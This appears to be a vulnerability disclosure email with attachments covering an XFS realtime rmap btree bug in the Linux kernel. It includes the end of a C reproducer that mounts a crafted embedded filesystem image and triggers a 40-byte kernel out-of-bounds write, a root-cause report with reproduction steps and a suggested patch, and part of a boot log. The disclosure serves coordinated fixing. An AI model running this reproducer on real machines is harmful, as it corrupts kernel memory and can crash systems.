"AAEA/f/MCxACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAMA"
"EADqz9ZI"
;
static void die_errno(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void die_message(const char *what)
{
fprintf(stderr, "%s\n", what);
exit(EXIT_FAILURE);
}
static void write_all(int fd, const void *data, size_t len)
{
const unsigned char *p = data;
while (len > 0) {
ssize_t written = write(fd, p, len);
if (written < 0) {
if (errno == EINTR)
continue;
die_errno("write");
}
p += written;
len -= written;
}
}
static int base64_value(unsigned char c)
{
if (c >= 'A' && c <= 'Z')
return c - 'A';
if (c >= 'a' && c <= 'z')
return c - 'a' + 26;
if (c >= '0' && c <= '9')
return c - '0' + 52;
if (c == '+')
return 62;
if (c == '/')
return 63;
return -1;
}
static void write_compressed_image(void)
{
uint32_t acc = 0;
unsigned int bits = 0;
int fd;
if (mkdir(temp_dir, 0700) < 0 && errno != EEXIST)
die_errno("mkdir temp dir");
fd = open(compressed_path, O_CREAT | O_TRUNC | O_WRONLY, 0600);
if (fd < 0)
die_errno("open compressed image");
for (const unsigned char *p = (const unsigned char *)image_b64; *p; p++) {
int value;
if (isspace(*p))
continue;
if (*p == '=')
break;
value = base64_value(*p);
if (value < 0)
die_message("invalid embedded base64");
acc = (acc << 6) | (uint32_t)value;
bits += 6;
if (bits >= 8) {
unsigned char out;
bits -= 8;
out = (unsigned char)((acc >> bits) & 0xff);
write_all(fd, &out, 1);
if (bits == 0)
acc = 0;
else
acc &= (1U << bits) - 1;
}
}
if (close(fd) < 0)
die_errno("close compressed image");
}
static int run_capture(char *const argv[], char *output, size_t output_size)
{
int pipefd[2] = {-1, -1};
pid_t pid;
int status;
size_t used = 0;
if (output && pipe(pipefd) < 0)
die_errno("pipe");
pid = fork();
if (pid < 0)
die_errno("fork");
if (pid == 0) {
if (output) {
close(pipefd[0]);
if (dup2(pipefd[1], STDOUT_FILENO) < 0)
_exit(127);
close(pipefd[1]);
}
execv(argv[0], argv);
_exit(127);
}
if (output) {
close(pipefd[1]);
while (used + 1 < output_size) {
ssize_t nread = read(pipefd[0], output + used,
output_size - used - 1);
if (nread < 0) {
if (errno == EINTR)
continue;
die_errno("read child output");
}
if (nread == 0)
break;
used += nread;
}
output[used] = '\0';
close(pipefd[0]);
}
if (waitpid(pid, &status, 0) < 0)
die_errno("waitpid");
if (!WIFEXITED(status))
return -1;
return WEXITSTATUS(status);
}
static void extract_token(const char *text, const char *needle, char *out,
size_t out_size)
{
const char *start = strstr(text, needle);
const char *end;
size_t len;
if (!start)
die_message("expected token missing from udisksctl output");
if (strcmp(needle, " at ") == 0)
start += strlen(needle);
end = start;
if (strcmp(needle, "/dev/loop") == 0) {
while (*end && (isalnum((unsigned char)*end) || *end == '/'))
end++;
} else {
while (*end && !isspace((unsigned char)*end))
end++;
}
len = end - start;
if (len == 0 || len >= out_size)
die_message("unexpected token length in udisksctl output");
memcpy(out, start, len);
out[len] = '\0';
}
int main(void)
{
char loop_output[256];
char mount_output[256];
char loopdev[32];
char mountpoint[256];
char victim_path[320];
char *const decompress_argv[] = {
"/usr/bin/zstd", "-q", "-d", "-f",
(char *)compressed_path, "-o", (char *)image_path, NULL,
};
char *const loop_argv[] = {
"/usr/bin/udisksctl", "loop-setup", "-f", (char *)image_path,
"--no-user-interaction", NULL,
};
char *mount_argv[] = {
"/usr/bin/udisksctl", "mount", "-b", loopdev, "-t", "xfs",
"--no-user-interaction", NULL,
};
write_compressed_image();
if (run_capture(decompress_argv, NULL, 0) != 0)
die_message("zstd decompression failed");
if (run_capture(loop_argv, loop_output, sizeof(loop_output)) != 0)
die_message("udisksctl loop-setup failed");
extract_token(loop_output, "/dev/loop", loopdev, sizeof(loopdev));
if (run_capture(mount_argv, mount_output, sizeof(mount_output)) != 0)
die_message("udisksctl mount failed");
extract_token(mount_output, " at ", mountpoint, sizeof(mountpoint));
if (snprintf(victim_path, sizeof(victim_path), "%s/victim", mountpoint) >=
(int)sizeof(victim_path))
die_message("victim path too long");
if (unlink(victim_path) < 0)
die_errno("unlink victim");
/*
* xfs inodegc performs the realtime rmap delete after unlink returns.
* Flush pending work so KASAN observes the bad level-1 redistribution.
*/
sync();
sleep(30);
return EXIT_SUCCESS;
}
[-- Attachment #3: report.txt --]
[-- Type: application/octet-stream, Size: 8533 bytes --]
Hello,
We’re contacting you from OpenAI Security Research to notify you of a
potential security issue identified during our internal research
process.
The issue appears to affect your product. We've validated the behavior
internally and believe it may pose a risk.
Please see the below report for details.
We are reaching out privately and cooperatively. We are happy to
collaborate on patch validation or coordinate timelines. We are not
planning to make any public disclosure unless there's an agreement to
do so or we assess that the risk requires it.
Please let us know how you’d prefer to proceed and if you need
additional details or support.
Best regards,
OpenAI Security Research Team
outbounddisclosures@openai.com
============= Summary ============
The XFS realtime reverse-mapping (RTRMAP) btree delete path does not
validate that a sibling block is at the level expected by the btree
cursor. A checksum-valid leaf can therefore be referenced as the
left sibling of an internal node and reach layout-specific update code.
On a 4 KiB filesystem block, this can cause a 40-byte kernel
out-of-bounds write during an ordinary file deletion.
The issue is in `xfs_btree_read_buf_block()` in
`fs/xfs/libxfs/xfs_btree.c`. The per-tree buffer verifier validates a
block according to the level stored in that block's own header, but
the raw sibling-read helper does not compare that level with the
caller's expected level. `xfs_btree_lshift()` subsequently uses the
returned block as a same-level sibling.
An initially unprivileged local user who can request a privileged,
policy-mediated mount of an attacker-controlled XFS image can trigger
the write through an ordinary unlink operation. With KASAN enabled,
the attached reproducer reliably reports the invalid write in
`xfs_btree_copy_keys()` and XFS shuts down the affected filesystem.
======== Affected Versions =======
Confirmed Version:
* 0e35b9b6ec0ffcc5e23cbdec09f5c622ad532b53 (Linux 7.2-rc3)
Also confirmed present by source inspection:
* f5098b6bae761e346ebcd9da7f95622c04733cff (Linux 7.2-rc5)
The affected RTRMAP implementation was introduced by:
* d386b4024372ea2f06aaa0f2c6c380b45ba0536e
("xfs: add realtime rmap btree operations")
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d386b4024372ea2f06aaa0f2c6c380b45ba0536e
Required Configs for the Vulnerability:
* CONFIG_XFS_FS
* CONFIG_XFS_RT
Additional Configs for the Proof-of-Concept:
* CONFIG_BLK_DEV_LOOP
* CONFIG_KASAN (for deterministic detection)
The reproducer also expects `zstd` and `udisksctl` in the test guest,
with a policy that permits the test user to create a loop device and
mount the image through udisks.
=========== Root Cause ===========
The vulnerable path is reached when deleting an extent from the
realtime reverse-mapping btree:
~
unlink()
xfs_inactive()
xfs_inactive_truncate()
xfs_itruncate_extents_flags()
xfs_bunmapi_range()
xfs_rmap_update_finish_item()
xfs_rmap_finish_one()
__xfs_rmap_finish_intent()
xfs_rmap_unmap()
xfs_btree_delete()
xfs_btree_delrec()
xfs_btree_lshift()
xfs_btree_copy_keys()
~
`xfs_btree_read_buf_block()` invokes the btree's normal read verifier
and returns the block, but it receives no expected level:
~
int
xfs_btree_read_buf_block(
struct xfs_btree_cur *cur,
const union xfs_btree_ptr *ptr,
int flags,
struct xfs_btree_block **block,
struct xfs_buf **bpp)
{
...
error = xfs_trans_read_buf(..., cur->bc_ops->buf_ops);
if (error)
return error;
xfs_btree_set_refs(cur, *bpp);
*block = XFS_BUF_TO_BLOCK(*bpp);
return 0;
}
~
For RTRMAP blocks, `xfs_rtrmapbt_verify()` selects the record-count
limit from the level stored in the untrusted block itself:
~
level = be16_to_cpu(block->bb_level);
if (level > mp->m_rtrmap_maxlevels)
return __this_address;
return xfs_btree_fsblock_verify(bp, mp->m_rtrmap_mxr[level != 0]);
~
This verifies that a block is internally valid as either a leaf or a
node, but it does not establish that the block is at the level where
the caller found it. Normal parent-to-child lookup has such a
contextual comparison in `xfs_btree_lookup_get_block()`. Raw sibling
reads used by rebalancing do not.
The attached image contains a level-1 node whose left-sibling pointer
names a valid level-0 RTRMAP leaf. For a 4 KiB block, an RTRMAP node
can contain at most 83 keys, while an RTRMAP leaf can contain 167
records. The substituted leaf contains 100 records, so it passes the
leaf verifier.
During deletion, a level-1 node underflows and its right neighbor can
donate one entry. `xfs_btree_lshift()` follows that neighbor's
left-sibling pointer with `xfs_btree_read_buf_block()` and receives the
level-0 leaf while operating at level 1:
~
xfs_btree_get_sibling(cur, right, &lptr, XFS_BB_LEFTSIB);
...
error = xfs_btree_read_buf_block(cur, &lptr, 0, &left, &lbp);
...
lrecs = xfs_btree_get_numrecs(left);
lrecs++;
...
lkp = xfs_btree_key_addr(cur, lrecs, left);
rkp = xfs_btree_key_addr(cur, 1, right);
xfs_btree_copy_keys(cur, lkp, rkp, 1);
~
After incrementing the count to 101, the destination for the 40-byte
RTRMAP key begins at offset 4072. The copy therefore crosses the end
of the 4096-byte metadata buffer. KASAN reported this as:
~
BUG: KASAN: use-after-free in xfs_btree_copy_keys+0x62/0xd0 [xfs]
Write of size 40
xfs_btree_copy_keys
xfs_btree_lshift
xfs_btree_delrec
xfs_btree_delete
xfs_rmap_unmap
~
The KASAN classification reflects the allocator state of the memory
immediately following the XFS buffer; the underlying defect is the
out-of-bounds key copy caused by accepting a wrong-level sibling.
The full sanitizer output is attached as `splash.txt`.
========== Reproduction ==========
Use a disposable test virtual machine.
Step 1: Build Linux at
`0e35b9b6ec0ffcc5e23cbdec09f5c622ad532b53` with the required
configuration above and KASAN enabled.
Step 2: Statically compile the attached reproducer:
~
gcc -static -O2 -Wall -Wextra -o poc poc.c
~
Step 3: Run `poc` as a test user for whom the guest's udisks policy
permits loop-device setup and mounting. The reproducer writes its
embedded XFS image under `/tmp/0158_fs_xfs__finding_029/`, mounts it
through `udisksctl`, unlinks the file named `victim`, calls `sync()`,
and waits for XFS inode reclamation.
Step 4: Inspect the guest console or kernel log. KASAN should report a
40-byte invalid write in `xfs_btree_copy_keys()` through
`xfs_btree_lshift()`, matching the attached `splash.txt`.
========= Suggested Patch ========
Make `xfs_btree_read_buf_block()` take the level expected by its
caller and reject a block whose on-disk `bb_level` differs. The check
must happen before the block is returned to traversal or sibling
update code. On mismatch, mark and release the corrupt buffer, mark
the btree sick, and return `-EFSCORRUPTED`.
The attached
`0001-xfs-validate-btree-block-level-on-read.patch` implements this
check in the common read helper and passes the appropriate level from
all callers. This preserves behavior for valid trees while covering
the vulnerable left-shift path and the corresponding traversal,
right-shift, split, and join reads.
The patch applies cleanly to Linux 7.2-rc5
(`f5098b6bae761e346ebcd9da7f95622c04733cff`), passes
`scripts/checkpatch.pl --strict`, and builds successfully with:
~
make O=<prepared-output> -j64 M=fs/xfs
~
=========== Disclaimer ===========
This information is being shared by OpenAI solely for the purpose of
improving security and reducing potential harm. This information is
presented as-is. We make no representations or warranties, express or
implied, as to the completeness, accuracy, or fitness for any
particular purpose of the information. This includes, without
limitation any suggestions or ideas presented on how to remedy or
mitigate an identified vulnerability, including whether such
suggestions or ideas would be effective and/or could have other
negative impacts.
OpenAI disclaims any liability for direct or indirect damages arising
from the reliance on, or use, misuse, or interpretation of this
information. Any references to third-party systems, services, or
entities are included solely for identification purposes and do not
imply endorsement, responsibility, or attribution.
[-- Attachment #4: full_kasan.log --]
[-- Type: application/octet-stream, Size: 22875 bytes --]
Linux version 7.3.0-package1-2-20-xfs-mainline (root@d9aaf01ea48d) (x86_64-linux-gnu-gcc (Debian 14.2.0-19) 14.2.0, GNU ld (GNU Binutils for Debian) 2.44) #2 SMP PREEMPT Fri Oct 23 18:19:29 UTC 2026
Command line: console=ttyS0 rdinit=/init oops=panic panic_on_warn=1 panic=1 kasan.fault=panic
BIOS-provided physical RAM map:
BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] System RAM
BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] device reserved
BIOS-e820: [gap 0x00000000000a0000-0x00000000000effff]
BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] device reserved
BIOS-e820: [mem 0x0000000000100000-0x000000007ffdffff] System RAM
BIOS-e820: [mem 0x000000007ffe0000-0x000000007fffffff] device reserved
BIOS-e820: [gap 0x0000000080000000-0x00000000afffffff]
BIOS-e820: [mem 0x00000000b0000000-0x00000000bfffffff] device reserved
BIOS-e820: [gap 0x00000000c0000000-0x00000000fed1bfff]
BIOS-e820: [mem 0x00000000fed1c000-0x00000000fed1ffff] device reserved
BIOS-e820: [gap 0x00000000fed20000-0x00000000fffbffff]
BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff] device reserved
BIOS-e820: [gap 0x0000000100000000-0x000000fcffffffff]
BIOS-e820: [mem 0x000000fd00000000-0x000000ffffffffff] device reserved
NX (Execute Disable) protection: active
APIC: Static calls initialized
tsc: Fast TSC calibration using PIT
tsc: Detected 1000.003 MHz processor
last_pfn = 0x7ffe0 max_arch_pfn = 0x10000000000
x86/PAT: PAT support disabled because CONFIG_X86_PAT is disabled in the kernel.
x86/PAT: Configuration [0-7]: WB WT UC- UC WB WT UC- UC
found SMP MP-table at [mem 0x000f5480-0x000f548f]
Using GB pages for direct mapping
RAMDISK: [mem 0x77722000-0x7ffdffff]
ACPI: Early table checksum verification disabled
ACPI: RSDP 0x00000000000F52C0 000014 (v00 BOCHS )
ACPI: RSDT 0x000000007FFE233B 000038 (v01 BOCHS BXPC 00000001 BXPC 00000001)
ACPI: FACP 0x000000007FFE212B 0000F4 (v03 BOCHS BXPC 00000001 BXPC 00000001)
ACPI: DSDT 0x000000007FFE0040 0020EB (v01 BOCHS BXPC 00000001 BXPC 00000001)
ACPI: FACS 0x000000007FFE0000 000040
ACPI: APIC 0x000000007FFE221F 000080 (v03 BOCHS BXPC 00000001 BXPC 00000001)
ACPI: HPET 0x000000007FFE229F 000038 (v01 BOCHS BXPC 00000001 BXPC 00000001)
ACPI: MCFG 0x000000007FFE22D7 00003C (v01 BOCHS BXPC 00000001 BXPC 00000001)
ACPI: WAET 0x000000007FFE2313 000028 (v01 BOCHS BXPC 00000001 BXPC 00000001)
ACPI: Reserving FACP table memory at [mem 0x7ffe212b-0x7ffe221e]
ACPI: Reserving DSDT table memory at [mem 0x7ffe0040-0x7ffe212a]
ACPI: Reserving FACS table memory at [mem 0x7ffe0000-0x7ffe003f]
ACPI: Reserving APIC table memory at [mem 0x7ffe221f-0x7ffe229e]
ACPI: Reserving HPET table memory at [mem 0x7ffe229f-0x7ffe22d6]
ACPI: Reserving MCFG table memory at [mem 0x7ffe22d7-0x7ffe2312]
ACPI: Reserving WAET table memory at [mem 0x7ffe2313-0x7ffe233a]
KernelAddressSanitizer initialized (generic)
ACPI: PM-Timer IO Port: 0x608
ACPI: LAPIC_NMI (acpi_id[0xff] dfl dfl lint[0x1])
IOAPIC[0]: apic_id 0, version 32, address 0xfec00000, GSI 0-23
ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl)
ACPI: INT_SRC_OVR (bus 0 bus_irq 5 global_irq 5 high level)
ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level)
ACPI: INT_SRC_OVR (bus 0 bus_irq 10 global_irq 10 high level)
ACPI: INT_SRC_OVR (bus 0 bus_irq 11 global_irq 11 high level)
ACPI: Using ACPI (MADT) for SMP configuration information
ACPI: HPET id: 0x8086a201 base: 0xfed00000
CPU topo: Max. logical packages: 1
CPU topo: Max. logical nodes: 1
CPU topo: Num. nodes per package: 1
CPU topo: Max. logical dies: 1
CPU topo: Max. dies per package: 1
CPU topo: Max. threads per core: 1
CPU topo: Num. cores per package: 2
CPU topo: Num. threads per package: 2
CPU topo: Allowing 2 present CPUs plus 0 hotplug CPUs
[gap 0xc0000000-0xfed1bfff] available for PCI devices
clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645519600211568 ns
Zone ranges:
DMA32 [mem 0x0000000000001000-0x000000007ffdffff]
Normal empty
Movable zone start for each node
Early memory node ranges
node 0: [mem 0x0000000000001000-0x000000000009efff]
node 0: [mem 0x0000000000100000-0x000000007ffdffff]
Initmem setup node 0 [mem 0x0000000000001000-0x000000007ffdffff]
On node 0, zone DMA32: 1 pages in unavailable ranges
On node 0, zone DMA32: 97 pages in unavailable ranges
On node 0, zone DMA32: 32 pages in unavailable ranges
setup_percpu: NR_CPUS:4 nr_cpumask_bits:2 nr_cpu_ids:2 nr_node_ids:1
percpu: Embedded 58 pages/cpu s207512 r0 d30056 u1048576
Kernel command line: console=ttyS0 rdinit=/init oops=panic panic_on_warn=1 panic=1 kasan.fault=panic
random: crng init done
printk: log buffer data + meta data: 131072 + 458752 = 589824 bytes
Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes, linear)
Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes, linear)
Built 1 zonelists, mobility grouping on. Total pages: 524158
mem auto-init: stack:all(zero), heap alloc:off, heap free:off
stackdepot: allocating hash table via alloc_large_system_hash
stackdepot hash table entries: 1048576 (order: 12, 16777216 bytes, linear)
stackdepot: allocating space for 8192 stack pools via memblock
SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=2, Nodes=1
ftrace: allocating 29484 entries in 116 pages
ftrace: allocated 116 pages with 4 groups
rcu: Hierarchical RCU implementation.
rcu: RCU restricting CPUs from NR_CPUS=4 to nr_cpu_ids=2.
Trampoline variant of Tasks RCU enabled.
Rude variant of Tasks RCU enabled.
Tracing variant of Tasks RCU enabled.
rcu: RCU calculated value of scheduler-enlistment delay is 25 jiffies.
rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=2
RCU Tasks: Setting shift to 1 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=2.
RCU Tasks Rude: Setting shift to 1 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=2.
NR_IRQS: 4352, nr_irqs: 440, preallocated irqs: 16
rcu: srcu_init: Setting srcu_struct sizes based on contention.
clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645041785100000 ns
Console: colour *CGA 80x25
printk: console [ttyS0] enabled
ACPI: Core revision 20260408
clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604467 ns
APIC: Switch to symmetric I/O mode setup
..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1
clocksource: tsc-early: mask: 0xffffffffffffffff max_cycles: 0xe6a19e43e4, max_idle_ns: 440795215955 ns
Calibrating delay loop (skipped), value calculated using timer frequency.. 2000.00 BogoMIPS (lpj=4000012)
Last level iTLB entries: 4KB 0, 2MB 0, 4MB 0
Last level dTLB entries: 4KB 0, 2MB 0, 4MB 0, 1GB 0
mitigations: Enabled attack vectors: SMT mitigations: off
Speculative Store Bypass: Vulnerable
Spectre V2 : Vulnerable
Spectre V1 : Vulnerable: __user pointer sanitization and usercopy barriers only; no swapgs barriers
x86/fpu: Supporting XSAVE feature 0x001: 'x87 floating point registers'
x86/fpu: Supporting XSAVE feature 0x002: 'SSE registers'
x86/fpu: Supporting XSAVE feature 0x004: 'AVX registers'
x86/fpu: Supporting XSAVE feature 0x008: 'MPX bounds registers'
x86/fpu: Supporting XSAVE feature 0x010: 'MPX CSR'
x86/fpu: xstate_offset[2]: 576, xstate_sizes[2]: 256
x86/fpu: xstate_offset[3]: 960, xstate_sizes[3]: 64
x86/fpu: xstate_offset[4]: 1024, xstate_sizes[4]: 64
x86/fpu: Enabled xstate features 0x1f, context size is 1088 bytes, using 'standard' format.
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 4096 (order: 3, 32768 bytes, linear)
Mountpoint-cache hash table entries: 4096 (order: 3, 32768 bytes, linear)
VFS: Finished mounting rootfs on nullfs
smpboot: CPU0: AMD QEMU TCG CPU version 2.5+ (family: 0x6, model: 0x6, stepping: 0x3)
Performance Events: PMU not available due to virtualization, using software events only.
signal: max sigframe size: 1616
rcu: Hierarchical SRCU implementation.
rcu: Max phase no-delay instances is 1000.
smp: Bringing up secondary CPUs ...
smpboot: x86: Booting SMP configuration:
.... node #0, CPUs: #1
calibrate_delay_direct() dropping max bogoMips estimate 1 = 5594229
calibrate_delay_direct() dropping max bogoMips estimate 0 = 4449979
smp: Brought up 1 node, 2 CPUs
smpboot: Total of 2 processors activated (3880.75 BogoMIPS)
Memory: 1590660K/2096632K available (25901K kernel code, 4589K rwdata, 4716K rodata, 1628K init, 444K bss, 501136K reserved, 0K cma-reserved)
devtmpfs: initialized
posixtimers hash table entries: 1024 (order: 2, 16384 bytes, linear)
futex hash table entries: 512 (32768 bytes on 1 NUMA nodes, total 32 KiB, linear).
NET: Registered PF_NETLINK/PF_ROUTE protocol family
thermal_sys: Registered thermal governor 'step_wise'
cpuidle: using governor ladder
PCI: ECAM [mem 0xb0000000-0xbfffffff] (base 0xb0000000) for domain 0000 [bus 00-ff]
PCI: ECAM [mem 0xb0000000-0xbfffffff] reserved as E820 entry
PCI: Using configuration type 1 for base access
ACPI: Added _OSI(Module Device)
ACPI: Added _OSI(Processor Device)
ACPI: Added _OSI(Processor Aggregator Device)
ACPI: 1 ACPI AML tables successfully acquired and loaded
ACPI: \_SB_: platform _OSC: OS support mask [000a7eee]
ACPI: Interpreter enabled
ACPI: PM: (supports S0 S5)
ACPI: Using IOAPIC for interrupt routing
PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug
PCI: Using E820 reservations for host bridge windows
ACPI: Enabled 2 GPEs in block 00 to 3F
ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff])
acpi PNP0A08:00: _OSC: OS supports [ExtendedConfig ASPM ClockPM Segments MSI HPX-Type3]
acpi PNP0A08:00: PCIe port services disabled; not requesting _OSC control
PCI host bridge to bus 0000:00
pci_bus 0000:00: root bus resource [io 0x0000-0x0cf7 window]
pci_bus 0000:00: root bus resource [io 0x0d00-0xffff window]
pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff window]
pci_bus 0000:00: root bus resource [mem 0x80000000-0xafffffff window]
pci_bus 0000:00: root bus resource [mem 0xc0000000-0xfebfffff window]
pci_bus 0000:00: root bus resource [mem 0x100000000-0x8ffffffff window]
pci_bus 0000:00: root bus resource [bus 00-ff]
pci 0000:00:00.0: [8086:29c0] type 00 class 0x060000 conventional PCI endpoint
pci 0000:00:1f.0: [8086:2918] type 00 class 0x060100 conventional PCI endpoint
pci 0000:00:1f.0: quirk: [io 0x0600-0x067f] claimed by ICH6 ACPI/GPIO/TCO
pci 0000:00:1f.2: [8086:2922] type 00 class 0x010601 conventional PCI endpoint
pci 0000:00:1f.2: BAR 4 [io 0xc040-0xc05f]
pci 0000:00:1f.2: BAR 5 [mem 0xfebff000-0xfebfffff]
pci 0000:00:1f.3: [8086:2930] type 00 class 0x0c0500 conventional PCI endpoint
pci 0000:00:1f.3: BAR 4 [io 0x0700-0x073f]
ACPI: PCI: Interrupt link LNKA configured for IRQ 10
ACPI: PCI: Interrupt link LNKB configured for IRQ 10
ACPI: PCI: Interrupt link LNKC configured for IRQ 11
ACPI: PCI: Interrupt link LNKD configured for IRQ 11
ACPI: PCI: Interrupt link LNKE configured for IRQ 10
ACPI: PCI: Interrupt link LNKF configured for IRQ 10
ACPI: PCI: Interrupt link LNKG configured for IRQ 11
ACPI: PCI: Interrupt link LNKH configured for IRQ 11
ACPI: PCI: Interrupt link GSIA configured for IRQ 16
ACPI: PCI: Interrupt link GSIB configured for IRQ 17
ACPI: PCI: Interrupt link GSIC configured for IRQ 18
ACPI: PCI: Interrupt link GSID configured for IRQ 19
ACPI: PCI: Interrupt link GSIE configured for IRQ 20
ACPI: PCI: Interrupt link GSIF configured for IRQ 21
ACPI: PCI: Interrupt link GSIG configured for IRQ 22
ACPI: PCI: Interrupt link GSIH configured for IRQ 23
pps_core: LinuxPPS API ver. 1 registered
pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti <giometti@linux.it>
PTP clock support registered
PCI: Using ACPI for IRQ routing
e820: register RAM buffer resource [mem 0x0009fc00-0x0009ffff]
e820: register RAM buffer resource [mem 0x7ffe0000-0x7fffffff]
vgaarb: loaded
clocksource: Switched to clocksource tsc-early
acpi PNP0C01:00: Reserved [mem 0xb0000000-0xbfffffff]
pnp: PnP ACPI init
pnp: PnP ACPI: found 3 devices
clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns
NET: Registered PF_INET protocol family
IP idents hash table entries: 32768 (order: 6, 262144 bytes, linear)
tcp_listen_portaddr_hash hash table entries: 1024 (order: 2, 16384 bytes, linear)
Table-perturb hash table entries: 65536 (order: 6, 262144 bytes, linear)
TCP established hash table entries: 16384 (order: 5, 131072 bytes, linear)
TCP bind hash table entries: 16384 (order: 7, 524288 bytes, linear)
TCP: Hash tables configured (established 16384 bind 16384)
UDP hash table entries: 1024 (order: 4, 65536 bytes, linear)
NET: Registered PF_UNIX/PF_LOCAL protocol family
pci_bus 0000:00: resource 4 [io 0x0000-0x0cf7 window]
pci_bus 0000:00: resource 5 [io 0x0d00-0xffff window]
pci_bus 0000:00: resource 6 [mem 0x000a0000-0x000bffff window]
pci_bus 0000:00: resource 7 [mem 0x80000000-0xafffffff window]
pci_bus 0000:00: resource 8 [mem 0xc0000000-0xfebfffff window]
pci_bus 0000:00: resource 9 [mem 0x100000000-0x8ffffffff window]
PCI: CLS 0 bytes, default 64
NET: Registered PF_INET6 protocol family
Segment Routing with IPv6
In-situ OAM (IOAM) with IPv6
Unpacking initramfs...
workingset: timestamp_bits=62 (anon: 57) max_order=19 bucket_order=0 (anon: 0)
SGI XFS with security attributes, realtime, no debug enabled
io scheduler mq-deadline registered
io scheduler kyber registered
input: Power Button as /devices/platform/LNXPWRBN:00/input/input0
ACPI: button: Power Button [PWRF]
Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
00:02: ttyS0 I/O:0x3f8 (irq = 4, base_baud = 115200) is a 16550A
loop: module loaded
tun: Universal TUN/TAP device driver, 1.6
i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12
serio: i8042 KBD port at 0x60,0x64 irq 1
serio: i8042 AUX port at 0x60,0x64 irq 12
sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver
NET: Registered PF_PACKET protocol family
IPI shorthand broadcast: enabled
input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input1
sched_clock: Marking stable (2296245455, 110569168)->(2440806178, -33991555)
clocksource: Watchdog remote CPU 1 read timed out
input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3
tsc: Refined TSC clocksource calibration: 999.992 MHz
clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x1cd41f163de, max_idle_ns: 881590457442 ns
clocksource: Switched to clocksource tsc
Freeing initrd memory: 140024K
Freeing unused kernel image (initmem) memory: 1628K
Write protecting the kernel read-only data: 32768k
Freeing unused kernel image (text/rodata gap) memory: 720K
Freeing unused kernel image (rodata/data gap) memory: 1428K
Run /init as init process
XFS_RETEST_GUEST_START
Linux package1-retest 7.3.0-package1-2-20-xfs-mainline #2 SMP PREEMPT Fri Oct 23 18:19:29 UTC 2026 x86_64 GNU/Linux
console=ttyS0 rdinit=/init oops=panic panic_on_warn=1 panic=1 kasan.fault=panic
ONLINE_CPUS=0-1
POC_BINARY_SHA256=c16dcb2a6b663177fe3b6aff2ff246efdcb8ac401965ac9148608b0816576f16 /poc
